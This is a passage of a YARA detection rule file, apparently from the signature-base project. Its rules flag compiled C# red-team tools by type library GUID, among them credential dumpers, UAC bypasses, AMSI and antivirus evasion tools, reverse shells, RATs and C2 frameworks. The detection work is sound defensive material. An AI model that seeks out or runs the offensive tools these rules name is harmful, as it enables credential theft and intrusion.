	strings:
		$typelibguid0lo = "14c79bda-2ce6-424d-bd49-4f8d68630b7b" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharptask : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "2cdd1a15-c70c-5eea-b5a7-8b4a445b9323"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/jnqpblc/SharpTask"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L897-L910"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "c3f4ddf4ea9389e01611880a47f2a199938e9a5e0f05df4e7f772f7a9acedc61"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "13e90a4d-bf7a-4d5a-9979-8b113e3166be" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Windowsplague : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "89729c43-ae01-5c1f-af04-06d7a6c4e7fc"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/RITRedteam/WindowsPlague"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L912-L925"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "01ad0621f2bb129fd963093b65cd054bc2a2e185f21041c779b02b1e63475a1c"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "cdf8b024-70c9-413a-ade3-846a43845e99" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Misc_Csharp : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "d25fa706-2254-5a82-a961-f57a0daa447c"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/jnqpblc/Misc-CSharp"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L927-L941"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "32893d4396842c3df3756d7090a1e86bf73c5ad2476aab5d6c53db8bdae9c31a"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "d1421ba3-c60b-42a0-98f9-92ba4e653f3d" ascii wide
		$typelibguid1lo = "2afac0dd-f46f-4f95-8a93-dc17b4f9a3a1" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpspray : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "e9312c96-be10-5942-a4da-1fe708cc6699"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/jnqpblc/SharpSpray"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L943-L956"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "15ad567589656894f0da6ee56c26f48868936db015d0b41c04ccd6fd56f5753e"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "51c6e016-1428-441d-82e9-bb0eb599bbc8" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Obfuscator : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "d9988b00-1f10-5421-8ffe-49849a5d5902"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/3xpl01tc0d3r/Obfuscator"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L958-L971"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "523ce9e83bd6cd7152d86fe77a441a3f721d79f8df45c4041e47cae4b15673d5"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "8fe5b811-a2cb-417f-af93-6a3cf6650af1" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Safetykatz : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "5f6d7432-0bb5-5782-98ec-2c2168f2fc1f"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/GhostPack/SafetyKatz"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L973-L986"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "08b1e8ee951140dc6ac07f2646e0bf84bb22bea9948d231e1ba8d4cf0a28a2e8"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "8347e81b-89fc-42a9-b22c-f59a6a572dec" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Dropless_Malware : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "0da3b6d8-2002-590e-a8d5-f6c84acfb083"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/NYAN-x-CAT/Dropless-Malware"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L988-L1001"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "833b7758aea58d3065c2c3153f0ab21b7b6a54f7e7083655f2a52c2861080f7d"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "23b739f7-2355-491e-a7cd-a8485d39d6d6" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_UAC_Silentclean : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "2dde9632-10c5-5c91-8bd9-2fb80d6f0c49"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/EncodeGroup/UAC-SilentClean"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1003-L1016"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "32d331148578923e7f5017ce874f9daa234a759ea5a87cbddc1e111834acf920"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "948152a4-a4a1-4260-a224-204255bfee72" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Desktopgrabber : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "7db07291-d6d4-5527-a879-27f899dbd6fe"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/NYAN-x-CAT/DesktopGrabber"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1018-L1031"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "1937fa6b9e5af3c12a2eef6356aed2c93e6534db492ebc7a8955c4cac240a840"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "e6aa0cd5-9537-47a0-8c85-1fbe284a4380" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Wsmanager : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "b8c330dc-74aa-5a33-8af6-17c9beb8be81"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/guillaC/wsManager"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1033-L1046"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "cbcdcf8c4895263b881f45f54df01b6a6a3d76cf1be195475217ccffa9eedfed"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "9480809e-5472-44f3-b076-dcdf7379e766" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Uglyexe : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "5833e6c5-f078-5eb5-9519-76710d7da0e1"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/fashionproof/UglyEXe"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1048-L1061"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "caf7c8ae7060822e0014710e521020e5d502eedb505165374b7600b11dea7bad"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "233de44b-4ec1-475d-a7d6-16da48d6fc8d" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpdump : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "b613092f-9006-5405-b07e-59737410ac1e"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/GhostPack/SharpDump"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1063-L1076"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "95217122df1b56132e7774c10c0e993d914cdf8e2463f949cfbab59cb0d99ca4"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "79c9bba3-a0ea-431c-866c-77004802d8a0" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Educationalrat : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "b1d54bea-a6c4-5c57-9ee1-7438d503b01d"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/securesean/EducationalRAT"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1078-L1091"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "c46fee5ff948537fb1defe636f3987b3de52b2e37a1130b4b425c6645d74b11b"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "8a18fbcf-8cac-482d-8ab7-08a44f0e278e" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Stealth_Kid_RAT : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "f26e040a-dcc7-518f-89f2-3333f83fa14a"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/ctsecurity/Stealth-Kid-RAT"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1093-L1107"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "9a885a48053d501273fc8043e990166558458239781feb9e09f972c52d57e8da"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "bf43cd33-c259-4711-8a0e-1a5c6c13811d" ascii wide
		$typelibguid1lo = "e5b9df9b-a9e4-4754-8731-efc4e2667d88" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpcradle : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "e2123a73-2609-559d-a122-923ebf8fd668"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/anthemtotheego/SharpCradle"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1109-L1122"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "4213877aaf5606c9e5f3f38a1f057f8068e0fa062a5f1eb4389d83c6032df6c3"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "f70d2b71-4aae-4b24-9dae-55bc819c78bb" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Bypassuac : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "327f581e-1d8c-5d20-bdd7-a29810c619c9"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/cnsimo/BypassUAC"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1124-L1138"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "05dbd4d443664735a10bd48dbbda4edf7ba3756c9dd3f53cb25e066e8f5f1b61"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "4e7c140d-bcc4-4b15-8c11-adb4e54cc39a" ascii wide
		$typelibguid1lo = "cec553a7-1370-4bbc-9aae-b2f5dbde32b0" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Hanzoinjection : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "c432bf68-49bf-57c7-bbfa-7bd2f3506c52"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/P0cL4bs/hanzoInjection"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1140-L1153"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "692e5288fffb8eb65b6f84017c31bb3d5d7320c141cd5a60eef6d9482385bb88"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "32e22e25-b033-4d98-a0b3-3d2c3850f06c" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Clr_Meterpreter : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "1d8a9717-4d80-5fb1-9c57-9b5f6c5a18b0"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/OJ/clr-meterpreter"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1155-L1173"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "5d48897457c5f3ea7a9c24a24ab63207c3841bc3ac444d1c42987cb291f05941"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "6840b249-1a0e-433b-be79-a927696ea4b3" ascii wide
		$typelibguid1lo = "67c09d37-ac18-4f15-8dd6-b5da721c0df6" ascii wide
		$typelibguid2lo = "e05d0deb-d724-4448-8c4c-53d6a8e670f3" ascii wide
		$typelibguid3lo = "c3cc72bf-62a2-4034-af66-e66da73e425d" ascii wide
		$typelibguid4lo = "7ace3762-d8e1-4969-a5a0-dcaf7b18164e" ascii wide
		$typelibguid5lo = "3296e4a3-94b5-4232-b423-44f4c7421cb3" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_BYTAGE : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "4f87ca2c-3ac1-5733-893e-79665b80ffc3"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/KNIF/BYTAGE"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1175-L1188"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "2d295501a64515a68bbd9a3c7f0f5ca0bbf59df5f6c91dd66d2ce6e744ce3fc1"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "8e46ba56-e877-4dec-be1e-394cb1b5b9de" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Multios_Reverseshell : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "f54bcb1a-b0cd-5988-bf1d-4fa6c012d6b9"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/belane/MultiOS_ReverseShell"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1190-L1203"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "a0b7f881aee1097dcbbd39a832073aada103b23ebc5b167052e9483083fec02d"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "df0dd7a1-9f6b-4b0f-801e-e17e73b0801d" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Hidefromamsi : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "0fa1ce82-b662-5e18-a5da-8359c96cd6e9"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/0r13lc0ch4v1/HideFromAMSI"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1205-L1218"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "05fccd4c7346c1ac1830984f945f5d37ca3e44a479287d681dfdb06d200764f1"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "b91d2d44-794c-49b8-8a75-2fbec3fe3fe3" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Dotnetavbypass_Master : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "4004271b-4fbe-58bb-9613-a077e76324b3"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/lockfale/DotNetAVBypass-Master"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1220-L1233"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "3382613db4970475922fb7db70b6ce4f9c247f083a2164b86ba9e81a770e0e36"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "4854c8dc-82b0-4162-86e0-a5bbcbc10240" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpdpapi : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "1394323f-b336-548f-925c-c276d439e9eb"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/GhostPack/SharpDPAPI"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1235-L1249"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "70f40bc48eeba3f835a280e7e2ce06b2a16179be9914d5c2548c820b02f4c837"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "5f026c27-f8e6-4052-b231-8451c6a73838" ascii wide
		$typelibguid1lo = "2f00a05b-263d-4fcc-846b-da82bd684603" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Telegra_Csharp_C2 : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "495a5f3e-cf05-5a66-b01c-8176ded88768"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/sf197/Telegra_Csharp_C2"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1251-L1264"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "ebdec8d1781ffc106f93f3686eb96e6b79810fbb0c7b1eb7cbbb161397298adc"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "1d79fabc-2ba2-4604-a4b6-045027340c85" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpcompile : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "c5e053c4-1c90-581a-a6c3-087b252254b2"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/SpiderLabs/SharpCompile"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1266-L1279"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "a8b46bf3017f336dc669b6c81a339953cc8931df49283b67172f45d1715ef422"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "63f81b73-ff18-4a36-b095-fdcb4776da4c" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Carbuncle : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "4a87882e-570b-5b40-a8e3-47ebac01d257"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/checkymander/Carbuncle"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1281-L1294"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "f792c3ed1f62915635dc9090cc608475701d1a4ec60810946336a5d72280af48"
		score = 75
		quality = 85
